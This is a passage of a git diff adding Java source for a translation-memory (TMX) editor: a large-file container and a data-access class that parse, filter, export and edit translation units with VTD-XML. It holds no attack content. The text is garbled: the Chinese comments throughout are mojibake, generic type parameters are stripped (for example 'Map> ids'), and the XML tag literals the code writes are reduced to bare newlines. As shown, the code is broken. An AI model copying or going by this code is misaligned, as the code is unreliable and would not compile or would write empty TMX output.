ä¿å­˜å½“å‰ä¿®æ”¹ï¼Œå®žé™…上是将å­æ–‡ä»¶å†…容åˆå¹¶åˆ°ä¸»æ–‡ä»¶ä¸­ + * @return true æˆåŠŸä¿å­˜ï¼Œfalse 失败; + * @throws Exception + */ + public boolean save(IProgressMonitor monitor) throws Exception { + MergeFilesWhenCloseTmx m = new MergeFilesWhenCloseTmx(); + if (mainFileEncoding == null || mainFileEncoding.length() == 0) { + mainFileEncoding = "utf-8"; + } + boolean r = false; + try { + r = m.mergeTempFile(vus, subFiles, mainfilePath, mainFileEncoding, tmxVersion, doctypeContent, monitor); + } catch (FileNotFoundException e) { + if (!new File(mainfilePath).canWrite()) { + // ä¸å¯å†™ã€‚ + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.cantsaveReadOnly")); + } else { + throw e; + } + } + return r; + } + + /** @return the mainfilePath */ + public String getMainFilePath() { + return mainfilePath; + } + + /** Compute file size */ + public long getFileSize() { + File f = new File(mainfilePath); + return f.length(); + } + + /** @return the tuTotalNumber */ + public int getTuTotalNumber(boolean isReload) { + if (isReload) { + tuTotalNumber = 0; + for (String file : subFiles) { + VTDUtils vu = vus.get(file); + tuTotalNumber += countFileTuNumber(vu); + } + } + return tuTotalNumber; + } + + /** @return the headerNode */ + public TmxHeader getTmxHeader() { + return header; + } + + /** + * 获å–å­æ–‡ä»¶ + * @return ; + */ + public List getSubFiles() { + return subFiles; + } + + /** + * 得到指定å­æ–‡ä»¶çš„ VTDUtils 对象 + * @param subFile + * å­æ–‡ä»¶å®Œæ•´è·¯å¾„ + * @return VTDUtils; + */ + public VTDUtils getVTDUtils(String subFile) { + return vus.get(subFile); + } + + /** + * Get all tuv node xml:lang attribute value. + * @return ; + */ + public List getAllLanguages(boolean isReload) { + if (isReload) { + loadAllLang(null); + } + return this.allLangList; + } + + public String getDoctypeContent() { + return doctypeContent; + } + + public String getTmxVersion() { + return tmxVersion; + } + + private void openSubFiles(IProgressMonitor monitor) throws Exception { + if (subFiles == null || subFiles.size() == 0) { + throw new FileNotFoundException(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileNotFound")); + } + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", subFiles.size()); + VTDGen vg = new VTDGen(); + for (String file : subFiles) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + File f = new File(file); + if (!f.exists() || f.isDirectory()) { + throw new FileNotFoundException(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileNotFound")); + } + parseFile(vg, f, new SubProgressMonitor(monitor, 1)); + VTDUtils vu = new VTDUtils(vg.getNav()); + vus.put(file, vu); + tuTotalNumber += countFileTuNumber(vu); + vg.clear(); + } + monitor.done(); + } + + /** + * Load TMX header node,and pilot to Body XMLElement + * @param vu + * VTDUtils + * @return Head node fragment; + * @throws Exception + * Error TMX structure or Error header info + */ + private void loadTmxHeader(VTDNav vn) throws Exception { + header = new TmxHeader(); + AutoPilot ap = new AutoPilot(vn); + String rootPath = "/tmx"; + try { + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath(rootPath); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + int t = vn.getAttrVal("version"); + if (t != -1) { + String tmxVersion = vn.toString(t).trim(); + header.setTmxVersion(tmxVersion); + } else { + header.setTmxVersion(""); + } + ap.resetXPath(); + ap.selectXPath("/tmx/header"); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + + int id = vn.getAttrVal("srclang"); + if (id == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + header.setSrclang(LanguageUtils.convertLangCode(vn.toString(id).trim())); + ap.resetXPath(); + ap.selectXPath("@*"); + int inx = -1; + while ((inx = ap.evalXPath()) != -1) { + String name = vn.toString(inx); + inx = vn.getAttrVal(name); + String value = inx != -1 ? vn.toString(inx) : ""; + if (name.equals("adminlang")) { + header.setAdminlang(value); + } else if (name.equals("changedate")) { + header.setChangedate(value); + } else if (name.equals("changeid")) { + header.setChangeid(value); + } else if (name.equals("creationdate")) { + header.setCreationdate(value); + } else if (name.equals("creationid")) { + header.setCreationid(value); + } else if (name.equals("creationtool")) { + header.setCreationtool(value); + } else if (name.equals("creationtoolversion")) { + header.setCreationtoolversion(value); + } else if (name.equals("datatype")) { + header.setDatatype(value); + } else if (name.equals("o-encoding")) { + header.setOencoding(value); + } else if (name.equals("o-tmf")) { + header.setOtmf(value); + } else if (name.equals("segtype")) { + header.setSegtype(value); + } + } + + ap.selectXPath("/tmx/body"); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError")); + } + ap.selectXPath("/tmx/body/tu"); + if (ap.evalXPath() == -1) { + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.emptyBodyNodeMsg")); + } + } catch (VTDException e) { + LOGGER.error("", e); + throw new Exception(Messages.getString("tmxdata.TmxFileContainer.parseTmxFileError"), e); + } + } + + private void loadAllLang(IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + if (this.allLangList == null) { + this.allLangList = new ArrayList(2); + } + allLangList.clear(); + monitor.beginTask("", subFiles.size()); + for (String subFile : subFiles) { + monitor.worked(1); + VTDUtils vu = vus.get(subFile); + if (vu == null) { + continue; + } + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("//tuv"); + while (ap.evalXPath() != -1) { + int inx = vn.getAttrVal("xml:lang"); + inx = inx == -1 ? vn.getAttrVal("lang") : inx; + String lang = inx != -1 ? vn.toString(inx) : null; + lang = LanguageUtils.convertLangCode(lang); + if (allLangList.contains(lang)) { + continue; + } + allLangList.add(lang); + } + } catch (VTDException e) { + LOGGER.error("", e); + } finally { + vn.pop(); + } + } + monitor.done(); + } + + private boolean beforeOpenFile(VTDNav vn, IProgressMonitor monitor) throws Exception { + SplitFileWhenOpenTmx s = new SplitFileWhenOpenTmx(); + int tuNum = countFileTuNumber(new VTDUtils(vn)); + subFiles = s.splitFile(monitor, mainfilePath, vn, tuNum); + return true; + } + + private void initTmxVersion(VTDNav vn) throws NavException { + vn.toElement(VTDNav.ROOT); + int rootIdx = vn.getCurrentIndex(); + if (vn.toString(rootIdx).equalsIgnoreCase("tmx")) { + int t = vn.getAttrVal("version"); + if (t != -1) { + tmxVersion = vn.toString(t); + } + } + for (int i = 0; i < rootIdx; i++) { + int ty = vn.getTokenType(i); + if (ty == VTDNav.TOKEN_DTD_VAL) { + doctypeContent = vn.toString(i); + } + } + } + + /** + * for test do not call on client + * @param subFiles + * ; + * @deprecated + */ + public void setSubFiles(List subFiles) { + this.subFiles = subFiles; + } +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileDataAccess.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileDataAccess.java new file mode 100644 index 0000000..666581d --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/tmxdata/TmxLargeFileDataAccess.java @@ -0,0 +1,3327 @@ +/** + * TmxFileDataAccess.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.core.tmxdata; + +import java.io.BufferedOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Calendar; +import java.util.HashMap; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.LanguageUtils; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.ExportBean; +import net.heartsome.cat.te.core.bean.TmxEditorFilterBean; +import net.heartsome.cat.te.core.bean.TmxPropertiesBean; +import net.heartsome.cat.te.core.converter.tbx.AppendTmxWriter; +import net.heartsome.cat.te.core.qa.QATrigger; +import net.heartsome.cat.te.core.resource.Messages; +import net.heartsome.cat.te.core.utils.TeCoreUtils; +import net.heartsome.cat.te.core.utils.TmxFileDataAccessUtils; +import net.heartsome.cat.te.core.utils.TmxFilterQueryUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.VTDException; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * TMX 文件访问类,用于存å–文件中的TU。
    + * TMX 文件在解æžæ—¶ä¼šæ‹†åˆ†æˆä¸€å®šæ•°é‡çš„å­æ–‡ä»¶ï¼Œç„¶åŽä½¿ç”¨æœ¬ç±»ç»Ÿä¸€ç®¡ç†æ‰€æœ‰å­æ–‡ä»¶ã€‚
    + * {@link AbstractTmxDataAccess#tuIdentifiers} 在当å‰å®žçŽ°ä¸­å­˜å‚¨çš„是一个能在一组å­æ–‡ä»¶ä¸­å”¯ä¸€æ ‡è¯†ä¸€ä¸ª TU çš„ä¿¡æ¯ï¼Œç»„æˆï¼šæ–‡ä»¶å+分割符+TU Position + * @author Jason + * @version 1.0 + * @since JDK1.6 + */ +public class TmxLargeFileDataAccess extends AbstractTmxDataAccess { + + public static final Logger LOGGER = LoggerFactory.getLogger(TmxLargeFileDataAccess.class); + + private TmxLargeFileContainer container; + + /** + * Constructor + * @param container + * TmxFileContainer + * @throws Exception + * VTD parse Exception + */ + public TmxLargeFileDataAccess(TmxLargeFileContainer container) { + super(container); + this.container = container; + TmxHeader header = container.getTmxHeader(); + String srcLang = header.getSrclang(); + if (srcLang == null || srcLang.equals("*all*")) { + srcLang = null; + } + List allLangs = container.getAllLanguages(false); + super.langList.addAll(allLangs); + super.currSrcLang = srcLang == null ? langList.get(0) : srcLang; + langList.remove(super.currSrcLang); + super.currTgtLang = langList.get(0); + } + + public String retrieveTuXml(int tuIdentifier) { + return null; + } + + public void closeTmxDataAccess(IProgressMonitor monitor) throws Exception { + if (this.container != null) { + this.container.close(); + } + this.container = null; + // this.tuIdentifiers.clear(); + } + + @Override + public void save(IProgressMonitor monitor) throws Exception { + container.save(monitor); + } + + @Override + public boolean isSourceExist() { + String mainFile = container.getMainFilePath(); + File f = new File(mainFile); + return !f.exists(); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#saveAs(org.eclipse.core.runtime.IProgressMonitor, + * net.heartsome.cat.te.core.bean.ExportBean) + */ + @Override + public void saveAs(IProgressMonitor monitor, ExportBean exportBean) { + int scope = exportBean.getExportScope(); + Map> ids = null; + switch (scope) { + case 1: // all filter TU + ids = parseIdentiterIds(tuIdentifiers); + break; + case 2: // all selected TU + ids = parseIdentiterIds(exportBean.getSelectIds()); + break; + case 3: // all TU + ids = null; + break; + } + if (!exportBean.isAppend()) { + String newFilePath = exportBean.getTargetFile(); + File newFile = new File(newFilePath); + try { + FileOutputStream os = new FileOutputStream(newFile); + try { + String encoding = "UTF-8"; + writeString(os, "\n", encoding); + if (container.getDoctypeContent() != null && container.getDoctypeContent().length() != 0) { + writeString(os, "\n", encoding); + } + if (container.getTmxVersion() != null && container.getTmxVersion().length() != 0) { + writeString(os, "\n", encoding); + } else { + writeString(os, "\n", encoding); + } + List subFiles = container.getSubFiles(); + VTDUtils hvu = container.getVTDUtils(subFiles.get(0)); + AutoPilot hap = new AutoPilot(); + hap.bind(hvu.getVTDNav()); + hap.selectXPath("/tmx/header"); + if (hap.evalXPath() != -1) { + writeString(os, hvu.getElementFragment() + "\n", encoding); + } + writeString(os, "\n", encoding); + if (ids == null) { + monitor.beginTask("", subFiles.size() + 10); + } else { + monitor.beginTask("", ids.size() + 10); + } + monitor.worked(10); + for (String subFile : subFiles) { + List list = null; + if (ids != null) { + list = ids.get(subFile); + if (null == list || list.isEmpty()) { + continue; + } + } else { + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + } + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("/tmx/body/tu[tuv[lower-case(@xml:lang)='" + super.currSrcLang.toLowerCase() + + "'] and tuv[lower-case(@xml:lang)='" + super.currTgtLang.toLowerCase() + "']]"); + + AutoPilot tuvAp = new AutoPilot(vn); + tuvAp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + tuvAp.selectXPath("./tuv[lower-case(@xml:lang)!='" + super.currSrcLang.toLowerCase() + + "' and lower-case(@xml:lang)!='" + super.currTgtLang.toLowerCase() + "']"); + + while (ap.evalXPath() != -1) { + int hsIdIdex = vn.getAttrVal("hsid"); + if (hsIdIdex == -1) { + continue; + } + if (ids != null) { + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + if (!list.contains(vn.toString(hsIdIdex))) { + continue; + } + } + StringBuilder sb = new StringBuilder(vu.getElementFragment() + .replaceFirst("\\s{1}hsid='\\d+'\\s+", " ").replaceFirst("\\s+>", ">")); + vn.push(); + tuvAp.resetXPath(); + while (tuvAp.evalXPath() != -1) { + String str = vu.getElementFragment(); + int i = sb.indexOf(str); + sb.replace(i, i + str.length(), ""); + i = sb.indexOf("\n\n"); // clean empty line + sb.replace(i, i + 2, "\n"); + } + vn.pop(); + sb.append('\n'); + writeString(os, sb.toString(), encoding); + } + } + writeString(os, "\n", encoding); + writeString(os, "", encoding); + } catch (final VTDException e) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + }); + LOGGER.error("", e); + } finally { + os.close(); + } + } catch (final IOException e) { + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + OpenMessageUtils.openMessage(IStatus.ERROR, e.getMessage()); + } + }); + LOGGER.error("", e); + } + } else { + AppendTmxWriter tmxAppendWriter; + try { + tmxAppendWriter = new AppendTmxWriter(exportBean.getTargetFile()); + String aSrcLang = tmxAppendWriter.getSrcLang(); + if (currSrcLang.equals(aSrcLang)) { + tmxAppendWriter.startAppend(); + + List subFiles = container.getSubFiles(); + if (ids == null) { + monitor.beginTask("", subFiles.size() + 10); + } else { + monitor.beginTask("", ids.size() + 10); + } + monitor.worked(10); + for (String subFile : subFiles) { + List list = null; + if (ids != null) { + list = ids.get(subFile); + if (null == list || list.isEmpty()) { + continue; + } + } else { + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + } + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("/tmx/body/tu[tuv[lower-case(@xml:lang)='" + super.currSrcLang.toLowerCase() + + "'] and tuv[lower-case(@xml:lang)='" + super.currTgtLang.toLowerCase() + "']]"); + + AutoPilot tuvAp = new AutoPilot(vn); + tuvAp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + tuvAp.selectXPath("./tuv[lower-case(@xml:lang)!='" + super.currSrcLang.toLowerCase() + + "' and lower-case(@xml:lang)!='" + super.currTgtLang.toLowerCase() + "']"); + + while (ap.evalXPath() != -1) { + int hsIdIdex = vn.getAttrVal("hsid"); + if (hsIdIdex == -1) { + continue; + } + if (ids != null) { + monitor.worked(1); + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + if (!list.contains(vn.toString(hsIdIdex))) { + continue; + } + } + StringBuilder sb = new StringBuilder(vu.getElementFragment() + .replaceFirst("\\s{1}hsid='\\d+'\\s+", " ").replaceFirst("\\s+>", ">")); + vn.push(); + tuvAp.resetXPath(); + while (tuvAp.evalXPath() != -1) { + String str = vu.getElementFragment(); + int i = sb.indexOf(str); + sb.replace(i, i + str.length(), ""); + i = sb.indexOf("\n\n"); // clean empty line + sb.replace(i, i + 2, "\n"); + } + vn.pop(); + tmxAppendWriter.writeXmlString("\n" + sb.toString()); + } + } + tmxAppendWriter.writeEnd(); + tmxAppendWriter.closeOutStream(); + } else { + OpenMessageUtils.openMessage(IStatus.ERROR, ""); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadTmxProperties() + */ + public TmxPropertiesBean loadTmxProperties() { + TmxPropertiesBean bean = new TmxPropertiesBean(); + TmxHeader header = container.getTmxHeader(); + String srcLang = header.getSrclang(); + if (srcLang == null || srcLang.equals("*all*")) { + srcLang = currSrcLang; + } + bean.setSrcLang(srcLang); + bean.setVersion(header.getTmxVersion()); + bean.setCreationDate(DateUtils.formatDateFromUTC(header.getCreationdate())); + bean.setCreator(header.getCreationid()); + bean.setCreationTooles(header.getCreationtool()); + bean.setCreationTooleVersion(header.getCreationtoolversion()); + bean.setTuNumber(container.getTuTotalNumber(true)); + bean.setLocation(container.getMainFilePath()); + bean.setFileSize(container.getFileSize() + ""); + List tgtLang = new ArrayList(); + tgtLang.addAll(container.getAllLanguages(true)); + tgtLang.remove(srcLang); + bean.setTargetLang(tgtLang); + return bean; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess#loadDisplayTuIdentifierByFilter(net.heartsome.cat.te.core.bean.TmxEditorFilterBean, + * java.lang.String, java.lang.String, boolean) + */ + public void loadDisplayTuIdentifierByFilter(IProgressMonitor monitor, TmxEditorFilterBean filterBean, + String srcLang, String tgtLang, String srcSearchText, String tgtSearchText) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + Assert.isLegal(srcLang != null && srcLang.length() > 0 && tgtLang != null && tgtLang.length() > 0); + super.currSrcLang = srcLang; + super.currTgtLang = tgtLang; + + monitor.beginTask("", 1); + monitor.setTaskName(Messages.getString("core.dataAccess.filter.data.taskname")); + if (filterBean == null || (filterBean != null && TeCoreConstant.FILTERID_allSeg.equals(filterBean.getId()))) { // 查询所有 + filterTu(srcSearchText, tgtSearchText, srcLang, tgtLang, new SubProgressMonitor(monitor, 1)); + } else if (TeCoreConstant.FILTERID_srcSameWIthTgtSeg.equals(filterBean.getId())) { + // æºæ–‡ä¸Žè¯‘æ–‡ç›¸åŒ + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery.getSrcSameWithTgtTuIdentifiers(new SubProgressMonitor(monitor, + 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_srcSameButTgtSeg.equals(filterBean.getId())) { + // 相åŒæºæ–‡ä¸åŒè¯‘æ–‡ + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery + .getSrcSameButTgtTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_tgtSameButSrcSeg.equals(filterBean.getId())) { + // 译文相åŒï¼Œä½†æºæ–‡ä¸åŒ + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery + .getTgtSameButSrcTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_duplicateSeg.equals(filterBean.getId())) { + // é‡å¤çš„文本段 + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery.getDuplicateSegTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_withNoteSeg.equals(filterBean.getId())) { + // 带批注的文本段 + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery.getWithNoteSegTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_withGarbleSeg.equals(filterBean.getId())) { + // 带乱ç çš„文本段 + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery + .getWithGarbleSegTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else if (TeCoreConstant.FILTERID_tgtNullSeg.equals(filterBean.getId())) { + // 译文为空的文本段 + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery.getTgtNullSegTUIdentifies(new SubProgressMonitor(monitor, 1)); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } else { + // 自定义过滤器的实现 // UNDO 自定义过滤器还没有修改关于译文为空,以åŠå­—符串相等的判断标准。 + TmxFilterQueryUtil filterQuery = new TmxFilterQueryUtil(container, srcLang, tgtLang); + List filterResultList = filterQuery.getCustomFilterTuIdentifies(new SubProgressMonitor(monitor, 1), + filterBean); + if (filterResultList != null) { + super.tuIdentifiers = filterResultList; + } + } + monitor.done(); + } + + @Override + public String addTu(TmxTU tu, String selTuIdentifer) { + VTDUtils vu = null; + String hsid = null; + String subFile = null; + try { + if (selTuIdentifer == null) { + List subFiles = container.getSubFiles(); + if (subFiles.size() == 0) { + return null; + } + subFile = subFiles.get(subFiles.size() - 1); + vu = container.getVTDUtils(subFile); + if (vu.pilot("/tmx/body/tu[last()]") == -1) { + return null; + } + hsid = vu.getCurrentElementAttribut("hsid", "1"); + hsid = Integer.parseInt(hsid) + 1 + ""; + } else { + String[] strs = TeCoreUtils.parseTuIndentifier(selTuIdentifer); + if (strs == null) { + return null; + } + subFile = strs[0]; + String id = strs[1]; + vu = container.getVTDUtils(subFile); + hsid = generateNewTuHsId(vu); + if (vu.pilot("/tmx/body/tu[@hsid='" + id + "']") == -1) { + return null; + } + } + String newTuId = subFile + TeCoreConstant.ID_MARK + hsid; + StringBuffer sb = new StringBuffer(); + sb.append("\n\n"); + sb.append("\n"); + sb.append("\n"); + sb.append(""); + XMLModifier xm = new XMLModifier(vu.getVTDNav()); + if (selTuIdentifer == null) { + xm.insertAfterElement(sb.toString()); + } else { + xm.insertBeforeElement(sb.toString()); + } + save2SubFile(subFile, vu, xm); + return newTuId; + } catch (VTDException e) { + LOGGER.error("", e); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + } + return null; + } + + @Override + public void deleteTus(String[] tuIdentifiers, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + List subFiles = container.getSubFiles(); + Map> ids = parseIdentiterIds(Arrays.asList(tuIdentifiers)); + monitor.beginTask("", tuIdentifiers.length); + try { + for (String subFile : subFiles) { + List list = ids.get(subFile); + if (null == list || list.isEmpty()) { + continue; + } + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + + AutoPilot tuvCountAp = new AutoPilot(vn); + tuvCountAp.selectXPath("count(./tuv)"); + + AutoPilot tuvAp = new AutoPilot(vn); + tuvAp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + tuvAp.selectXPath("./tuv[lower-case(@xml:lang)='" + super.currTgtLang.toLowerCase() + "']"); + ap.selectXPath("/tmx/body/tu"); + + XMLModifier xm = new XMLModifier(vn); + + while (ap.evalXPath() != -1) { + int hsIdIdex = vn.getAttrVal("hsid"); + if (hsIdIdex == -1) { + continue; + } + if (list.contains(vn.toString(hsIdIdex))) { + tuvCountAp.resetXPath(); + int childCount = (int) tuvCountAp.evalXPathToNumber(); + + if (childCount >= 3) {// 如果TUVæ•°é‡å¤§äºŽ3删除TUV + tuvAp.resetXPath(); + vn.push(); + + if (tuvAp.evalXPath() != -1) { + xm.remove(vn.getElementFragment()); + } + + vn.pop(); + } else {// 如果TUV语言对å°äºŽ3,直接删除TU + xm.remove(vn.getElementFragment()); + } + monitor.worked(1); + } + } + save2SubFile(subFile, vu, xm); + } + } catch (VTDException e) { + LOGGER.error("", e); + } + + } + + /** + * 1.å°†newText写入到Tmx文件或者TmDb
    + * 2.å°†newText更新到TmxSegement对象中。 + * @param newText + * @param tu + * @param tuv + **/ + public void updateTuvContent(String identifier, String newText, TmxTU tu, TmxSegement tuv) { + if (tuv.getFullText().equals(newText)) { // 新内容和原æ¥çš„内容一样 + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(identifier); + if (strs == null) { + return; + } + VTDUtils vu = container.getVTDUtils(strs[0]); + int tuvIdentifier = tuv.getDbPk(); + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + if (tuvIdentifier != -1) { + String xpath = "/tmx/body/tu[@hsid='" + strs[1] + "']/tuv[" + tuvIdentifier + "]/seg"; + String changedate = DateUtils.formatToUTC(Calendar.getInstance().getTimeInMillis()); + String changeid = System.getProperty("user.name"); + if (vu.pilot(xpath) != -1) { + try { + xm.remove(); + xm.insertAfterElement("" + newText + ""); + VTDNav vn = vu.getVTDNav(); + vn.toElement(VTDNav.PARENT); // tuv + int index = vn.getAttrVal("changedate"); + if (index != -1) { + xm.updateToken(index, changedate); + tuv.setChangeDate(changedate); + } + index = vn.getAttrVal("changeid"); + if (index != -1) { + xm.updateToken(index, changeid); + tuv.setChangeUser(changeid); + } + vn.toElement(VTDNav.PARENT); // TU + int tuChangeIdIdx = vn.getAttrVal("changeid"); + int tuChangeDateIdx = vn.getAttrVal("changedate"); + if (tuChangeDateIdx == -1 && tuChangeIdIdx == -1) { + xm.insertAttribute(" changeid=\"" + changeid + "\" changedate=\"" + changedate + "\""); + } else if (tuChangeDateIdx != -1 && tuChangeIdIdx != -1) { + xm.updateToken(tuChangeIdIdx, changeid); + xm.updateToken(tuChangeDateIdx, changedate); + } else { + if (tuChangeIdIdx == -1) { + xm.insertAttribute(" changeid=\"" + changeid + "\""); + } else { + xm.updateToken(tuChangeIdIdx, changeid); + } + if (tuChangeDateIdx == -1) { + xm.insertAttribute(" changedate=\"" + changedate + "\""); + } else { + xm.updateToken(tuChangeDateIdx, changedate); + } + } + save2SubFile(strs[0], vu, xm);// update file and VTDNav + } catch (VTDException e) { + LOGGER.error("", e); + } catch (UnsupportedEncodingException e) { + LOGGER.error("", e); + } + tu.setChangeDate(changedate); + tu.setChangeUser(changeid); + tuv.setFullTextWithParseTag(newText);// update TU + } + } else { + // 删除 没有 seg 节点的 tuv (针对 lang == tgtLang) --robert 2013-11-25 + String xpath = "/tmx/body/tu[@hsid='" + strs[1] + "']/tuv[lower-case(@xml:lang)='" + + tuv.getLangCode().toLowerCase() + "']"; + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + vu.getVTDNav().push(); + try { + String newTuvContent = "" + newText + "\n"; + xm.bind(vu.getVTDNav()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.remove(); + xm.insertAfterElement(newTuvContent); + } else { + xpath = "/tmx/body/tu[@hsid='" + strs[1] + "']"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.insertBeforeTail(newTuvContent); + } + } + } catch (Exception e) { + LOGGER.error("", e); + e.printStackTrace(); + } + vu.getVTDNav().pop(); + + // addNode(xm, vu, "/tmx/body/tu[@hsid='" + strs[1] + "']", "" + newText + "\n"); + save2SubFile(strs[0], vu, xm);// update file and VTDNav + tuv.setFullTextWithParseTag(newText);// update TU + List segements = tu.getSegments(); + if (segements == null) { + tuv.setDbPk(2); + } else { + int size = segements.size() + 1; + int pk = size + 1; 